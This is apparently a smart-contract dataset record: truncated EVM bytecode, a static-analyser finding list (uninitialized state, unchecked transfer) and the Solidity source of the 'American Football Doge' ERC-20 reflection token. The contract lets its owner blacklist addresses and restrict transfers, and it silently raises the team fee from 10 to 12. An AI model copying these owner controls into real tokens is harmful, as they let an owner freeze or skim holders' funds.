ffffffffffffffffffffffffffffff1681526020019081526020016000205461280990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115612255576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122e9565b61226883826127f090919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561241257600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561245f57600080fd5b6124b0826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127f090919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612543826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461280990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061268582600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461280990919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008282111515156127fe57fe5b818303905092915050565b600080828401905083811015151561281d57fe5b8091505092915050565b604051610aed80612838833901905600608060405234801561001057600080fd5b50604051608080610aed8339810180604052810190808051906020019092919080519060200190929190805190602001909291908051906020019092919050505083600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508160058190555080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050506109bf8061012e6000396000f3006080604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063096191dd146100a957806318160ddd146100d65780633debcdd91461010157806356e0eec71461012c5780635f2aeae91461018357806370a08231146101b05780637ecc2b561461020757806389165e4014610232578063a9059cbb14610289578063d56805e1146102ee575b600080fd5b3480156100b557600080fd5b506100d460048036038101908080359060200190929190505050610345565b005b3480156100e257600080fd5b506100eb6104d7565b6040518082815260200191505060405180910390f35b34801561010d57600080fd5b506101166104e1565b6040518082815260200191505060405180910390f35b34801561013857600080fd5b506101416104e7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561018f57600080fd5b506101ae6004803603810190808035906020019092919050505061050d565b005b3480156101bc57600080fd5b506101f1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061069f565b6040518082815260200191505060405180910390f35b34801561021357600080fd5b5061021c6106e7565b6040518082815260200191505060405180910390f35b34801561023e57600080fd5b506102476106f1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561029557600080fd5b506102d4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610717565b604051808215151515815260200191505060405180910390f35b3480156102fa57600080fd5b50610303610936565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103a157600080fd5b426005541015156103b157600080fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561049857600080fd5b505af11580156104ac573d6000803e3d6000fd5b505050506040513d60208110156104c257600080fd5b81019080805190602001909291905050505050565b6000600154905090565b60055481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561056957600080fd5b4260055410151561057957600080fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561066057600080fd5b505af1158015610674573d6000803e3d6000fd5b505050506040513d602081101561068a57600080fd5b81019080805190602001909291905050505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600254905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561075457600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107a157600080fd5b6107f2826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461095c90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610885826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461097590919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600082821115151561096a57fe5b818303905092915050565b600080828401905083811015151561098957fe5b80915050929150505600a165627a7a7230582085f203f7073813455603ebbcea90bbe359b5b8cbdde1f9eade35faffe7f400030029a165627a7a723058208010fc33575dd1b6f401bf6048a5446e8a52809e814e2691aac4b570f1909c490029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 6,383 |
0x663d7bac22af97f3d4dff618c06311a3fb69a8f2
|
/**
*Submitted for verification at Etherscan.io on 2021-06-14
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract AmericanFootballDoge is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "American Football Doge";
string private constant _symbol = "aDOGEFOOT \xF0\x9F\x8F\x88";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 12;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610307578063c3c8cd8014610327578063c9567bf91461033c578063d543dbeb14610351578063dd62ed3e1461037157600080fd5b8063715018a6146102735780638da5cb5b1461028857806395d89b41146102b0578063a9059cbb146102e757600080fd5b8063273123b7116100dc578063273123b7146101e0578063313ce567146102025780635932ead11461021e5780636fc3eaec1461023e57806370a082311461025357600080fd5b806306fdde0314610119578063095ea7b31461016a57806318160ddd1461019a57806323b872dd146101c057600080fd5b3661011457005b600080fd5b34801561012557600080fd5b50604080518082019091526016815275416d65726963616e20466f6f7462616c6c20446f676560501b60208201525b6040516101619190611a05565b60405180910390f35b34801561017657600080fd5b5061018a610185366004611896565b6103b7565b6040519015158152602001610161565b3480156101a657600080fd5b50683635c9adc5dea000005b604051908152602001610161565b3480156101cc57600080fd5b5061018a6101db366004611856565b6103ce565b3480156101ec57600080fd5b506102006101fb3660046117e6565b610437565b005b34801561020e57600080fd5b5060405160098152602001610161565b34801561022a57600080fd5b50610200610239366004611988565b61048b565b34801561024a57600080fd5b506102006104d3565b34801561025f57600080fd5b506101b261026e3660046117e6565b610500565b34801561027f57600080fd5b50610200610522565b34801561029457600080fd5b506000546040516001600160a01b039091168152602001610161565b3480156102bc57600080fd5b5060408051808201909152600e81526d0c2889e8e8a8c9e9ea841e13f1f160931b6020820152610154565b3480156102f357600080fd5b5061018a610302366004611896565b610596565b34801561031357600080fd5b506102006103223660046118c1565b6105a3565b34801561033357600080fd5b50610200610647565b34801561034857600080fd5b5061020061067d565b34801561035d57600080fd5b5061020061036c3660046119c0565b610a40565b34801561037d57600080fd5b506101b261038c36600461181e565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103c4338484610b13565b5060015b92915050565b60006103db848484610c37565b61042d843361042885604051806060016040528060288152602001611bd6602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611049565b610b13565b5060019392505050565b6000546001600160a01b0316331461046a5760405162461bcd60e51b815260040161046190611a58565b60405180910390fd5b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b031633146104b55760405162461bcd60e51b815260040161046190611a58565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104f357600080fd5b476104fd81611083565b50565b6001600160a01b0381166000908152600260205260408120546103c890611108565b6000546001600160a01b0316331461054c5760405162461bcd60e51b815260040161046190611a58565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103c4338484610c37565b6000546001600160a01b031633146105cd5760405162461bcd60e51b815260040161046190611a58565b60005b8151811015610643576001600a60008484815181106105ff57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061063b81611b6b565b9150506105d0565b5050565b600c546001600160a01b0316336001600160a01b03161461066757600080fd5b600061067230610500565b90506104fd8161118c565b6000546001600160a01b031633146106a75760405162461bcd60e51b815260040161046190611a58565b600f54600160a01b900460ff16156107015760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610461565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561073e3082683635c9adc5dea00000610b13565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561077757600080fd5b505afa15801561078b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107af9190611802565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107f757600080fd5b505afa15801561080b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082f9190611802565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561087757600080fd5b505af115801561088b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108af9190611802565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108df81610500565b6000806108f46000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561095757600080fd5b505af115801561096b573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061099091906119d8565b5050600f80546722b1c8c1227a000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a0857600080fd5b505af1158015610a1c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061064391906119a4565b6000546001600160a01b03163314610a6a5760405162461bcd60e51b815260040161046190611a58565b60008111610aba5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610461565b610ad86064610ad2683635c9adc5dea0000084611331565b906113b0565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b755760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610461565b6001600160a01b038216610bd65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610461565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c9b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610461565b6001600160a01b038216610cfd5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610461565b60008111610d5f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610461565b6000546001600160a01b03848116911614801590610d8b57506000546001600160a01b03838116911614155b15610fec57600f54600160b81b900460ff1615610e72576001600160a01b0383163014801590610dc457506001600160a01b0382163014155b8015610dde5750600e546001600160a01b03848116911614155b8015610df85750600e546001600160a01b03838116911614155b15610e7257600e546001600160a01b0316336001600160a01b03161480610e325750600f546001600160a01b0316336001600160a01b0316145b610e725760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b6044820152606401610461565b601054811115610e8157600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610ec357506001600160a01b0382166000908152600a602052604090205460ff16155b610ecc57600080fd5b600f546001600160a01b038481169116148015610ef75750600e546001600160a01b03838116911614155b8015610f1c57506001600160a01b03821660009081526005602052604090205460ff16155b8015610f315750600f54600160b81b900460ff165b15610f7f576001600160a01b0382166000908152600b60205260409020544211610f5a57600080fd5b610f6542603c611afd565b6001600160a01b0383166000908152600b60205260409020555b6000610f8a30610500565b600f54909150600160a81b900460ff16158015610fb55750600f546001600160a01b03858116911614155b8015610fca5750600f54600160b01b900460ff165b15610fea57610fd88161118c565b478015610fe857610fe847611083565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061102e57506001600160a01b03831660009081526005602052604090205460ff165b15611037575060005b611043848484846113f2565b50505050565b6000818484111561106d5760405162461bcd60e51b81526004016104619190611a05565b50600061107a8486611b54565b95945050505050565b600c546001600160a01b03166108fc61109d8360026113b0565b6040518115909202916000818181858888f193505050501580156110c5573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110e08360026113b0565b6040518115909202916000818181858888f19350505050158015610643573d6000803e3d6000fd5b600060065482111561116f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610461565b600061117961141e565b905061118583826113b0565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111e257634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561123657600080fd5b505afa15801561124a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061126e9190611802565b8160018151811061128f57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112b59130911684610b13565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112ee908590600090869030904290600401611a8d565b600060405180830381600087803b15801561130857600080fd5b505af115801561131c573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b600082611340575060006103c8565b600061134c8385611b35565b9050826113598583611b15565b146111855760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610461565b600061118583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611441565b806113ff576113ff61146f565b61140a848484611492565b80611043576110436005600855600c600955565b600080600061142b611589565b909250905061143a82826113b0565b9250505090565b600081836114625760405162461bcd60e51b81526004016104619190611a05565b50600061107a8486611b15565b60085415801561147f5750600954155b1561148657565b60006008819055600955565b6000806000806000806114a4876115cb565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114d69087611628565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522